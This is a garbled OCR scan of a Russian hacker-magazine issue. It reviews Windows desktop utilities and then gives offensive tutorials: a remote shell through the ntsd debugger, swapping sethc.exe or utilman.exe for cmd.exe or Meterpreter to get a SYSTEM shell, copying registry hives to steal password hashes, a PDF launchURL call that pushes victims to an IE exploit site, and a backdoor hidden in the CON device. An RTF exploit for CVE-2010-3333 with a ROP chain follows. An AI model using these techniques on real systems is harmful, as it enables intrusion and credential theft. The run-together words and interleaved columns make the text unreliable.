книги хакеры / журнал хакер / 152_Optimized

Управление

окнами

Возможностьоконприлипатькправойилевойчастиэкрана— удобнейшаяштукаWindows 7, которой япользуюсьпостоянно. Удивительно, какнебольшаядоработкаповеденияокнаможетувеличитьпро-

дуктивностьработы. Ноэтонеединственнаявозможностьпрокачатьповедениеокон, естьидругиехаки. Конечно, безнихможнообойтись. Нозачем? Сними-толучше.

Desktops

bit.ly/dHzGj8

То, чтоможетпомочь, нопокакой-тоне- понятнойпричиненапрочьотсутствуетв системе— этовиртуальныерабочиестолы. Правда, Microsoft всежевыложиланасайте утилитуDesktops (кслову, написаннуюсамим МаркомРуссиновичом, виднейшимспециалистомповнутреннемуустройствуWindows). Desktops поддерживаетдочетырехвиртуальныхрабочихстоловипредлагаетпереключатьсямеждунимиприпомощигорячих клавишилииконкивтрее. Важно, чтоперед подключениемдоступенпредварительный просмотрвсехрабочихстолов.

360desktop

www.360desktop.com

Программапредлагаетещеодин способувеличитьпространство рабочегостола, новместодискретныхвиртуальныхэкрановтут используетсяпринципвращающегосябарабана. Накаждойчастиего поверхностинаходятсясвоиобъекты, окна, ярлычки— итыможешь плавноперемещатьсяпонему, имеяпередглазамипревьюшку всего, чтонанемнаходится. Это можетзвучатьдико, нонаскриншотепонятно, чтоэтооченьудобный подход.

Fences

www.stardock.com/products/fences

Немогунеупомянутьоченькачественнуюутилиту, котораяможетнавестипорядокнарабочемстоле. Вообще, еслипосмотреть, топользователиразделяются надватипа: те, укоторыхвсегдаидеальныйпорядокна рабочемстоле, ите, укоторыхтамтворитсяполныйхаос. Этапрогапоможетитем, идругим.Fencesпозволяет нанестинарабочийстолспециальныеобласти, представляющиесобойконтейнерыдляярлыков. Ихможно какугодноперемещатьпоэкрануилиизменятьразмер, анаходящиесявнихиконкибудутповторятьтеже самыедвижения. Врезультате, всесвоиярлычкиможно разбитьнакатегориииразместитьвразныхобластях, чтодобавитнемалоудобства. ЕстьуFences идругая интереснаяопция: двойнымкликоммышипорабочему столуможноспрятатьсэкранавсеконтейнерыииконки, послечеготемжедвижениемвернутьвсенаместо.

Хакидля рабочегостола

Какникрути, пространстворабочегостолавесьмаограничено, ичтобынезажиматьсявегорамкахприходитсяидтинанекоторыеухищрения. Идеальнымвариантомбылабыустановкадополнительныхмониторов, но, еслитакойвозможностинет, вполнеможнообойтисьбезкаких-либодополнительныхзатрат.

AcerGridvista

bit.ly/qrSL2q

Этаутилитаразделяетэкраннадве, трииличетыре секции, кудатыможешьперенестиdrag & drop’ом любоеокно. Этодействительнополезныйхакдля всехвладельцевбольшихмониторов, которыйразработалакомпанияAcer. Смыслвтом, чторазмеры окнаавтоматическиподгоняютсяподвыделенную область, аегоместорасположениесохраняется. В результатеокноавтоматическипоявляетсятам, где нужно, истемиразмерами, которыетебенужны.

Switcher

insentient.net

СпомощьюSwitcher тысможешьпереключатьсямеждуокнамисистемынамногоэффективнее. Идеявтом, чтотыможешьнаодномэкране увидетьвсеокнаодновременноибыстровыбратьнужное. Практическиточнотакже, какэто сделановMac OS X. Приэтомгорячиеклавишы, которыеподдерживаютсяпрограммой, помогут переключатьсямеждуокнамигораздобыстрее.

eXtraButtons

www.xtrabuttons.com

Послеустановкиэтойтулзы, взаголовкеокна помимопривычныхтрехкнопок(«свернуть», «развернутьнавесьэкран», «закрыть»)

появитсяеще9 дополнительныхэлементов, в томчиследляприданияокнуэффектапрозрачностиили, кпримеру, сворачиванияеговтрей (работаетдлялюбогоприложения).

Easy Hack Хакерские

секреты

простых

вещей

¹ 1 ЗАДАЧА: ПОДНЯТЬ СТАНДАРТНЫМИ СРЕДСТВАМИ УДАЛЕННЫЙ ШЕЛЛ ПОД WINDOWS.

РЕШЕНИЕ:

Недавновычиталинтересныйспособдлябыстройорганизациишеллдоступаналюбомпорту. Задачавыглядитпростой, ноеслиограничиватьсятолькостандартнымивозможностямиОС, торабочихспособовне такужимного. Аэтот— простилаконичен:). Намашине, доступккотороймыхотиморганизовать, нужновыполнитьвсеголишьоднукоманду:

ntsd --server tcp:port=4444 calc.exe

NTSD — Microsoft NT Symbolic Debugger, какясноизназвания, вхо-

дящий«впоставку» сОСдебаггер. Фактическирасполагаетсяонв %Windows%\system32. Даннойкомандоймызапускаемntsd наотладку калькулятора(calc.exe), хотядлянашейзадачиподойдетлюбоедругое приложение. Параметр-server указывает, чтомыподнимаемсервердля удаленнойотладкиприложениянапорту4444 (tcp:port=4444). Теперьвсе готоводлянашегоудаленногоподключения. Ксожалению, обычным netcat’омнеподключиться, потомунампотребуетсяещёодинntsd:

ntsd -remote tcp:server=192.168.138.128,port=4444

Здесьинтуитивнопонятныйинтерфейсиясно, чтопараметром-remote указывается, чтопроисходитподключениекудаленномусерверус соответствующимадресомнапорт4444. Всечтонампотребуетсяпосле подключения— этоввестиследующуюкоманду:

¹ 2 ЗАДАЧА: ПОЛУЧИТЬ ШЕЛЛ С ПРАВАМИ SYSTEM, ИМЕЯ ФИЗИЧЕСКИЙ ДОСТУП К ПК.

РЕШЕНИЕ:

ПродолжимтемутонкостейОСWindows. Пару-тройкуномеров назадяписалпрото, какможновыдратьизкэшавиндыучетки пользователей, которыевнейлогинились. Способылокальногоповышенияправоснованынатакойфиче, чтовбезопасном режимевсистемуможнозайтиподлокальнымадмином, даже еслиданнаяучетнаязаписьбылаотключенадоменнойполитикой. Этотспособ— рабочий. Нонетакойэлегантный, какхотелосьбы,

потомучтоследовотзаходаподадминомостаетсяоченьмного. Что делать? Естьальтернативныеварианты.

1.ЗагружаемсяслюбогоLiveCD имонтируемфайловуюсистемус виндой. Далее, еслимыпростохотимстыритьлокальныеучетки икэшихэшейвходоввОС, топростокопируемфайлыреестраиз

%Windows%\system32\config.

2.Еслиженамхочетсячего-тоболееинтересного, топодменяем

Эмуляция удаленного подключения к отладчику с доступом к шеллу

.shell

Готово! Унасполноценныйдоступкконсоли, чегомыихотели.

Кминусамэтогоспособаможноотнестито, чтотулзаntsd былаубранаиз Windows 7 и2008. Хотявкачествеклиентаееможнобесплатноскачатьс сайтаMS иустановитьнасемерку.

Изплюсов— решениеиспользуеттолькостандартныевозможности Windows и, разумеется, непалитсяантивирусами. Кромеэтого, ntsd можнозапускатьподобыкновеннымпользователем.

системныефайлы. Либоsethc.exe, либоuntilman.exe. Почемуих, спросишьты? Узнаешьпозднее:). Обафайлалежатв%Windows%\ system32, подменитьихможнолибонатотжеcmd.exe, либона exe’шникMeterpreter изMSF, либоначто-тоеще(взависимости оттвоихцелей).

3. Послеперезагрузкикомпьютерамывидимэкранлогина. Далее— магия:). Пятьразжми<Shift> — запуститсяподмененныйsethc.exe, тоесть«обработчик» залипанияклавиш. Нажимай<Win+U> (либокнопочкувуглу) — запуститсяподмененный untilman.exe, тоесть«специальныевозможности».

4.Всамомпростомвиде, еслиподменабыланаcmd.exe, топеред тобойвыскачетконсоль. Ещеразуточню— этобеззаходавсистему. Нуисамоехорошее: праваунасбудутNT AUTHORITY/SYTEM, то естьмаксимальные.

5.Конечно, лучшеподменятьфайлынаmeterpreter. Снехитрыми манипуляциямионбудетоставатьсяактивнымпривходевсистему пользователя, аунаспоявитсявозможностьполнофункциональногоудаленногодоступа.

Резюмируявышесказанное: физическийдоступккомпу— это почти100% WIN!

dvd

Всеописанныепрограммысовсейрубрикиищинадиске.

РЕШЕНИЕ:

ДанныйвыпускEasyHack посвященскореевсякимтонкостямилегким извращениям, чемконкретному, хардкорномувзлому, лобовыматакам. Ноясчитаю, чтоэтодажеинтересней. Ведьконкретныеуязвимостии дыркиПОможнозакрыть, авотархитектурныенедоработкиилинекорректноеиспользованиелегитимногофункционалапоправитьтрудно. Новернемсякнашейзадаче. Какузнать, накакихресурсах(Gmail, Twitter, Facebook ит.д.) авторизованпользователь? Mike Cardwell (goo. gl/FIO8a) отыскалинтересныйспособ. Сутьпроста— пользовательзаходитнанашустраницу, ирасположенныйнанейяваскриптделаетзапроснасервер, авторизациянакоторомнасинтересует. Запросдолжен бытьтаким, чтобынеавторизованныйпользовательвиделошибку(404, 500 ит.д.), аавторизованный— нормальныйответ(200). Покодуответа иопределяетсясостояниеавторизациипользователя.

Вариантовреализациивзависимостиотситуациибылопредложенодва.

ДляGmail, гдезагрузкаипросмотризображенийвозможнытолько дляавторизованныхпользователей, — всепростоиработаетнавсех браузерах:

<img style="display:none;" onload="logged_in_to_gmail()" onerror="not_logged_in_to_gmail()"

¹ 4 ЗАДАЧА: СМЕНИТЬ БРАУЗЕР ПОЛЬЗОВАТЕЛЯ, ИСПОЛЬЗУЯ PDF.

РЕШЕНИЕ:

Представьследующуюситуацию. Мызатащилижертвунанашзлой сайт, ноюзериспользуетбраузер, подкоторыйунаснетсплоита— например, Chrome. Какзаразитьтакогопользователя? Дляданной ситуацииестьоднаинтереснаяметодика, основаннаянатом, что IE остаетсябраузеромпоумолчаниюумногихпользователей, вне зависимостиоттого, вкакомбраузереонипроводятбольшуючасть времени. Оченьчастоэтаситуациясправедливадлякорпоративных сетей, вомногихизкоторыхвсеещестоятстарыеверсииIE сзапретомсменыбраузерапоумолчанию. Таквот, заманивпользователяк намнасайт, мыможемвоспользоватьсяновымтрикомиприпомощи специальногоPDF-файлазаставитькомпьютерпользователяот- крытьлюбуюстраницучерезIE. Всечтонужносделать— этопро- писатьвPDF-файлеследующийкод:

app.launchURL("http://exploit-for-ie.com/",true);

Здесьдолжнобытьвсепонятно. МыуказываемAcrobat Reader’у

вяваскрипте, чтоследуетоткрытьновоеокнопоссылке. Первый параметрAPI-вызова— URL открываемогосайта. Второй— открыть

вновомокне.

src="https://mail.google.com/mail/photos/img/photos/ public/AIbEiAIAAABDCKa_hYq24u2WUyILdmNhcmRfcGhvdG8qKDI1 ODFkOGViM2I5ZjUwZmZlYjE3MzQ2YmQyMjAzMjFlZTU3NjEzOTYwAZwS Cm_MMUDjh599IgoA2muEmEZD"

/>

Итак, мыподгружаемскрытоеизображение. Еслипользовательзалогиненвсистеме, тособытиеonload отработает, таккакизображениеможет бытьподгруженобраузером, иonerror виномслучае(серверредиректит настраницулогина). СамоизображениележитнаGmail. Втомслучае, еслинетвозможностиработатьсизображениями, можнопопробовать подгрузкуhtml-страниц.

<script type="text/javascript" src="https://twitter.com/ account/use_phx?setting=false&format=text"

onload="not_logged_in_to_twitter()"

onerror="logged_in_to_twitter()" async="async"

></script>

НоэтотспособнебудетработатьсIE иOpera, таккаконимогутподгружатьтолькокорректныеяваскрипты, тоестьonload унихнебудет срабатыватьдажеприпозитивномзаголовкесервера.

Вчемпрактическаяпользаэтогохака? Конечно, набольшинствекрупныхсайтовможнонайтинекиезакуткиииспользоватьданнуюметодику. Нокроменебольшогораскрытияинфыопользователе— пользыникакой. Хотя, еслисовместитьэтотхаксдругимитехниками, товозможнои получитсячто-тодельное:).

Сутьатакивтом, чтомыперенаправляемпользователясхромомна даннуюPDF, аPDF, запустившисьвAcrobat Reader’е, откроетновое окноспомощьюбраузерапоумолчанию(внашемслучаеIE). Пример работыэтоготрюкаможнозаценитьздесь: bit.ly/pSuNmj. Предвосхищаятвоимысли, сразууточню, чтоеслизапуститьтакуюPDF’кус локальногодиска, топоявитсяуведомительноесообщение, которое спалитвсюзатею.

Из FireFox через PDF в IE

ВЗЛОМ

Copy file.txt \\.\c:\CON

Такимобразом, мыможемсоздаватьфайлыустройствизаписыватьв нихинформацию. Самоепростое— закинутьданныесначалавfile.txt. ПутьдоCON лучшеуказыватьполный. Выводинформацииосуществляетсяаналогично, нонаоборот.

Copy \\.\c:\CON file.txt

Носамоеинтересноевтом, чтомыможемположитьвфайлустройства exe’шник. Например, длянаглядностияположилвCON cmd.exe:

copy c:\windows\system32\cmd.exe \\.\c:\CON

Самаяжеглавнаямагияпроисходит, когданамтребуетсязапустить такойCON-cmd.exe:

wmic process call create \\.\c:\CON

Что приятно, данная фича работает и в Windows XP и в 7. А если мы закинем файл в какую-нибудь системную папку, то спрятанный бекдорчик совсем не будет вызывать подозрений. Жаль только, что для антвирусов данные файлы совсем не проблема. z

ОБЗОР ЭКСПЛОИТОВ

Датарелиза:3 июля2011 года Автор: Snake

CVE: CVE-2010-3333

ПереполнениебуферанастекевMicrosoft Office XP SP3, Office 2003 SP3, Office 2007 SP2, Office 2010, Office 2004 and 2008 for Mac, Office for Mac 2011 and Open XML File Format Converter for Mac позволяетзлоумыш-

ленникуисполнитьпроизвольныйкод, используяспециальнымобразом сформированныеRTF-данные.

Данныйэксплоитпримечателеннесобственнореализациейуязвимости(онейбылоизвестноещевоктябрепрошлогогода), аиспользованиемтехники, названной«Ikazuchi DEP/ASRL Bypass», дляобхода защитныхмеханизмовDEP/ASLR.

EXPLOIT

ВыдержкаизспецификацииRTF (Rich Text Format) дляMicrosoft Office Word 2003:

Каждоесвойствофигуры, определенноетэгом«\sp» представляетсобой пару: имя(«\sn») исоответствующееэтомуименизначение(«\sv»).»

ВPOC RTF-файлезатэгом«\sn», задающегоимя«pFragments» для свойства, следуеттэг«\sv», задачейкоторогоявляетсяописаниезначенийдлязаданногоранеесвойства«pFragments». Данныйтэгсодержит значения, разделенныеточкойсзапятой, третьеизкоторыхимеет неблаговидныйлик, нуи, соответственно, обрабатываетсяприразборе RTF-файлавордомневерно. Вобщемвидеструктураэксплоитадолжна выглядетьследующимобразом:

{\rtf1{\shp{\*\shpinst{\sp{\sn pFragments}{\sv A;B;[word1]

[word2][word3][hex_value_array]}}}}}

A — целочисленноезначение, котороенеможетбытьравно2,4 или8; B — целочисленноезначение;

word1—2-байтовоезначение(sizeof(WORD)),котороенеможетбытьнулем;

Функция, генерирующая конфиг phpMyAdmin

word2 — 2-байтовоезначение, котороенеможетбытьбольшечемword1; word3 — 2-байтовоезначение, котороебудетиспользоватьсякакразмер дляпереполнениябуферанастеке;

word1*word2 — должныбытьравныразмерувыделяемойпамятипод массивhex_value_array, соответственнозначениеэтодолжнобытьв меруадекватно;

hex_value_array — строка, содержащаязначения, которымибудет перезаписыватьсябуфер, располагающийсянастеке, впроцессеего переполнения.

Приначертанииword1, word2 иword3 необходимоиспользоватьобратныйпорядокзаписи: первымидетмладшийбайт, затемстарший. Краткийотрывокизмодулядляmetasploit, генерирующегоrtf-файл, которыйбудетэксплуатироватьданнуюуязвимость:

sploit = "%d;%d;" % [el_size, el_count] sploit << data.unpack('H*').first sploit << rest.unpack('H*').first

content << "}" content << "}" content << "}"

print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(content)

Перезаписьбуферанастекепроисходитвследующемместебиблиотеки mso.dll:

ВконцеконцовмыпопадаемнапервыйадресвROP-цепочке, исполняемееивидимкалькулятор.

АтеперьнемногоподробнеепроROP-цепочку:

#Вызываем HeapCreate() и создаем

#исполняемую кучу после этого вызова EAX

#содержит адрес созданной нами кучи

#прибавляем ECX к EAX вместо того, чтобы вызывать

#HeapAlloc, теперь EAX указывает на RWX-кучу

#pop 0x3F3B3DC0 в ECX, по этому адресу

#можно что-нибудь записать

#сохраняем адрес нашей RWX-кучи по адресу

#0x3F3B3DC0 (ECX) для дальнейшего использования

#pop 0x3F3B3DC4 в EAX, по этому адресу

#содержится 0 и туда можно что-нибудь записать

#Что мы и сделаем, прибавив к 0 значение

#регистра ESP, адрес ESP нам нужен,

#скопировать шеллкод (который располагается на стеке)

0x3F2F18CC POP EAX RETN

# pop 0x3F3B3DC4 ( ESP address ) в EAX

Передача управления на начало ROP-цепочки

Развитие XSSуязвимости Джумлы — CSRF эксплоит

#сейчас ECX указывает на ближайшее смещение

#стека

ADD EAX,ECX POP ESI RETN

# прибавим 0x24 к ECX (адрес стека)

#скопируем значение EAX (Stack Address+24 =

#текущее значение ESP ) по текущему адресу стека

#и снимем со стека значение в ESI. Теперь ESI

#указывает на начало шеллкода, располагающегося на стеке

# сейчас EAX указывает на нашу RWX-кучу